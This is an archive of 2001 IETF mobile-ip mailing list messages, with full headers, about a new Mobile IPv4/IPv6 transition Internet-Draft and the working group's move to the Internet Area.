From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov  1 09:46:49 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19633
	for <mobileip-archive@odin.ietf.org>; Thu, 1 Nov 2001 09:46:48 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA23804;
	Thu, 1 Nov 2001 06:45:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21445;
	Thu, 1 Nov 2001 06:45:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA1EiLQO009526
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 1 Nov 2001 06:44:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA1EiL51009525
	for mobile-ip-dist; Thu, 1 Nov 2001 06:44:21 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA1EiIQO009518
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 06:44:18 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21319
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 06:44:21 -0800 (PST)
Received: from idcpa4.pa.interdigital.com ([12.32.197.142])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA25674
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 06:44:20 -0800 (PST)
Received: by idcpa4.pa.interdigital.com with Internet Mail Service (5.5.2653.19)
	id <RN09Z2V3>; Thu, 1 Nov 2001 09:43:21 -0500
Message-ID: <A1170612471BD21185B90008C7FA0A0D01F1FAA2@idcpa4.pa.interdigital.com>
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject:  [mobile-ip] Route optimization in Mobile IP
Date: Thu, 1 Nov 2001 09:43:20 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

If I'm not mistaken, a week or so ago, I believe I saw someone post a draft
onto this mailing list about route optimization in the Mobile IPv4 protocol.
Unfortunately, I didn't keep that mail, so I would be grateful, if that
person, or somebody who has a copy of that mail, could foward it to me.
Thank you.

-Sharif.


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 00:18:47 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA10593
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 00:18:47 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA14933;
	Thu, 1 Nov 2001 21:17:36 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA21540;
	Thu, 1 Nov 2001 21:17:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA25GOQO010497
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 1 Nov 2001 21:16:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA25GOVC010496
	for mobile-ip-dist; Thu, 1 Nov 2001 21:16:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA25GKQO010489
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 21:16:20 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA04383
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 21:16:24 -0800 (PST)
Received: from hard.korea.ac.kr (hard.korea.ac.kr [163.152.218.13])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA00926
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 22:16:19 -0700 (MST)
Received: from curly ([163.152.155.224])
	by hard.korea.ac.kr (8.11.3/8.11.3) with SMTP id fA25JB917038
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 14:19:12 +0900
Message-ID: <00f201c1635e$270e2a80$e09b98a3@korea.ac.kr>
From: "Jung-Hoon Cheon" <curly@hard.korea.ac.kr>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] I-D ACTION:draft-kahng-ngtrans-hdsma-00.txt
Date: Fri, 2 Nov 2001 14:20:57 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id fA25GLQO010490
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

A New Internet-Draft is available from the on-line Internet-Drafts directories.


Title : Requirements for 4to6 mobility transition using 
                          Hierarchical Mobility Agent
Author(s) : H. Kahng
Filename : draft-kahng-ngtrans-hdsma-00.txt
Pages : 11
Date : 29-Oct-01

This document specifies the requirements for MIPv4/MIPv6 transition. 
Researches  on  the  IPv4  to  IPv6,  or  IPv6  to  IPv4,  transition 
mechanisms are actively being conducted. These transition mechanisms 
assume that hosts are attached to the network statically. Currently, 
developments of communication mechanisms are developed individually 
and differently. This means that the effects of considering mobile 
node (MN) roaming in IPv4/IPv6 transition networks have not been 
investigated. Therefore, this document proposes the requirements and 
analysis of different routing architecture of MIPv4/MIPv6 transition 
network.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-kahng-ngtrans-hdsma-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
"get draft-kahng-ngtrans-hdsma-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
mailserv@ietf.org.
In the body type:
"FILE /internet-drafts/draft-kahng-ngtrans-hdsma-00.txt".

NOTE: The mail server at ietf.org can return the document in
MIME-encoded form by using the "mpack" utility.  To use this
feature, insert the command "ENCODING mime" before the "FILE"
command.  To decode the response(s), you will need "munpack" or
a MIME-compliant mail reader.  Different MIME-compliant mail readers
exhibit different behavior, especially when dealing with
"multipart" MIME messages (i.e. documents which have been split
up into multiple messages), so check your local documentation on
how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
==================================================
Jung-Hoon Cheon
Ph.D Candidate
Department of Electronics Information Engineering
Graduate School, Korea University
Office Phone : 02-3290-3989
Fax    Phone : 02-925-1424 
Mobile Phone : 016-785-0575
==================================================


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 01:11:18 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA12171
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 01:11:18 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA24293;
	Thu, 1 Nov 2001 22:09:59 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA26951;
	Thu, 1 Nov 2001 22:09:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA268rQO010683
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 1 Nov 2001 22:08:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA268r6I010682
	for mobile-ip-dist; Thu, 1 Nov 2001 22:08:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA268nQO010675
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 22:08:49 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA09602
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 22:08:51 -0800 (PST)
Received: from hard.korea.ac.kr (hard.korea.ac.kr [163.152.218.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA23529
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 1 Nov 2001 23:08:36 -0700 (MST)
Received: from curly ([163.152.155.224])
	by hard.korea.ac.kr (8.11.3/8.11.3) with SMTP id fA26Bi917967
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 15:11:44 +0900
Message-ID: <002101c16365$7fb37a80$e09b98a3@korea.ac.kr>
From: "Jung-Hoon Cheon" <curly@hard.korea.ac.kr>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] New I-D: Requirements for 4to6 mobility transition using Hierarchical Mobility Agent
Date: Fri, 2 Nov 2001 15:13:31 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id fA268oQO010676
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Dear All,


A New Internet-Draft is available from the on-line Internet-Drafts directories.

Title : Requirements for 4to6 mobility transition using Hierarchical Mobility Agent
Author(s) : H. Kahng
Filename : draft-kahng-ngtrans-hdsma-00.txt
Pages : 11
Date : 29-Oct-01

This document specifies the requirements for MIPv4/MIPv6 transition. 
Researches  on  the  IPv4  to  IPv6,  or  IPv6  to  IPv4,  transition 
mechanisms are actively being conducted. These transition mechanisms 
assume that hosts are attached to the network statically. Currently, 
developments of communication mechanisms are developed individually 
and differently. This means that the effects of considering mobile 
node (MN) roaming in IPv4/IPv6 transition networks have not been 
investigated. Therefore, this document proposes the requirements and 
analysis of different routing architecture of MIPv4/MIPv6 transition 
network.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-kahng-ngtrans-hdsma-00.txt

Thanks.
==================================================
Jung-Hoon Cheon
Ph.D Candidate
Department of Electronics Information Engineering
Graduate School, Korea University
Office Phone : 02-3290-3989
Fax    Phone : 02-925-1424 
Mobile Phone : 016-785-0575
==================================================


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 10:08:13 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07100
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 10:08:12 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA11349;
	Fri, 2 Nov 2001 07:07:35 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17255;
	Fri, 2 Nov 2001 07:07:14 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2F6EQO011252
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:06:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2F6Dkd011251
	for mobile-ip-dist; Fri, 2 Nov 2001 07:06:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2F6AQO011244
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:06:10 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09978
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:06:12 -0800 (PST)
Received: from megisto-sql1.megisto.com ([63.113.114.132])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA25557
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:06:10 -0800 (PST)
Received: by megisto-sql1.megisto.com with Internet Mail Service (5.5.2650.21)
	id <4XBK9Y36>; Fri, 2 Nov 2001 10:03:04 -0500
Message-ID: <CD8355C7E19ED411BD5F00508BB0D19D69847C@megisto-sql1.megisto.com>
From: Phil Roberts <PRoberts@MEGISTO.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] new area
Date: Fri, 2 Nov 2001 10:02:59 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi folks,

   the Mobile IP WG will be moving to the Internet Area.  Thomas Narten will
be our
new area advisor.

Phil


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 10:20:54 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07509
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 10:20:54 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA03583;
	Fri, 2 Nov 2001 08:20:08 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA19199;
	Fri, 2 Nov 2001 07:20:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2FJ4QO011383
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:19:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2FJ4f9011382
	for mobile-ip-dist; Fri, 2 Nov 2001 07:19:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2FJ0QO011375
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:19:00 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15032
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:18:43 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id IAA02432
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 08:18:41 -0700 (MST)
Received: (qmail 18887 invoked by uid 500); 2 Nov 2001 15:02:57 -0000
Date: Fri, 2 Nov 2001 07:02:57 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] new area
Message-ID: <20011102070257.F17532@charizard.diameter.org>
References: <CD8355C7E19ED411BD5F00508BB0D19D69847C@megisto-sql1.megisto.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <CD8355C7E19ED411BD5F00508BB0D19D69847C@megisto-sql1.megisto.com>; from PRoberts@MEGISTO.com on Fri, Nov 02, 2001 at 10:02:59AM -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

you're too late. I found out this morning when I couldn't find the WG in the
IETF's routing area web page :)

PatC
On Fri, Nov 02, 2001 at 10:02:59AM -0500, Phil Roberts wrote:
> Hi folks,
> 
>    the Mobile IP WG will be moving to the Internet Area.  Thomas Narten will
> be our
> new area advisor.
> 
> Phil


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 10:26:15 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07742
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 10:26:15 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA18136;
	Fri, 2 Nov 2001 07:25:42 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA20297;
	Fri, 2 Nov 2001 07:25:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2FOeQO011493
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:24:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2FOeWp011492
	for mobile-ip-dist; Fri, 2 Nov 2001 07:24:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2FOaQO011485
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:24:36 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04586
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:24:38 -0800 (PST)
Received: from EXCHANGE01.domain.ecutel.com ([65.201.154.134])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02144
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 07:24:37 -0800 (PST)
x-mimeole: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: [mobile-ip] new area
Date: Fri, 2 Nov 2001 10:24:37 -0500
Message-ID: <AF2378CBE7016247BC0FD5261F1EEB2109CEB8@EXCHANGE01.domain.ecutel.com>
Thread-Topic: [mobile-ip] new area
Thread-Index: AcFjsGOzVXKikdJuQUSglb/aH2JldAACzOTg
From: "Qiang Zhang" <qzhang@ecutel.com>
To: <mobile-ip@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA2FObQO011486
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

exiled?

-----Original Message-----
From: Phil Roberts [mailto:PRoberts@megisto.com]
Sent: Friday, November 02, 2001 9:03 AM
To: 'mobile-ip@sunroof.eng.sun.com'
Subject: [mobile-ip] new area


Hi folks,

   the Mobile IP WG will be moving to the Internet Area.  Thomas Narten
will
be our
new area advisor.

Phil


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 12:05:26 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA11781
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 12:05:26 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA02921;
	Fri, 2 Nov 2001 09:04:11 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04272;
	Fri, 2 Nov 2001 09:03:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2H2SQO011667
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:02:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2H2Sqs011666
	for mobile-ip-dist; Fri, 2 Nov 2001 09:02:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2H2OQO011659
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:02:24 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA23538
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:02:27 -0800 (PST)
Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA28433
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:02:07 -0700 (MST)
Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209])
	by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA205716
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:59:43 -0600
Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.37.60.3])
	by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v5.00) with ESMTP id fA2H2Ho19916
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 12:02:17 -0500
Received: from rotala.raleigh.ibm.com (narten@localhost)
	by rotala.raleigh.ibm.com (8.9.3/8.9.3) with ESMTP id MAA27697
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 12:02:48 -0500
Message-Id: <200111021702.MAA27697@rotala.raleigh.ibm.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] new area 
In-Reply-To: Message of "Fri, 02 Nov 2001 10:24:37 EST." <AF2378CBE7016247BC0FD5261F1EEB2109CEB8@EXCHANGE01.domain.ecutel.com> 
Date: Fri, 02 Nov 2001 12:02:48 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> exiled?

Hardly, and I hope the rest of the WG doesn't feel this way. While
much of the WG may not have been aware of this, the INT ADs (me and
Erik Nordmark) and Allison Mankin (TSV AD where Seamoby lives) have
been giving the MIP WG quite a lot of attention over the last few
months. And we do have one recent success story. 2002-bis has now been
approved by the IESG. Hopefully, a number of other drafts will make
its way through the IESG in the coming months.

There have also been discussions for a long time about how MIP isn't
really a routing thing in the first place. It isn't working on routing
protocols, for instance. So there has always been an argument that the
Internet Area was just as an appropriate home for MIP as the Routing
Area was.

And with the recent tragic loss of Abha, the timing of the move seemed
to make sense.

Thomas


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 12:12:15 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA11978
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 12:12:15 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06259;
	Fri, 2 Nov 2001 10:10:45 -0700 (MST)
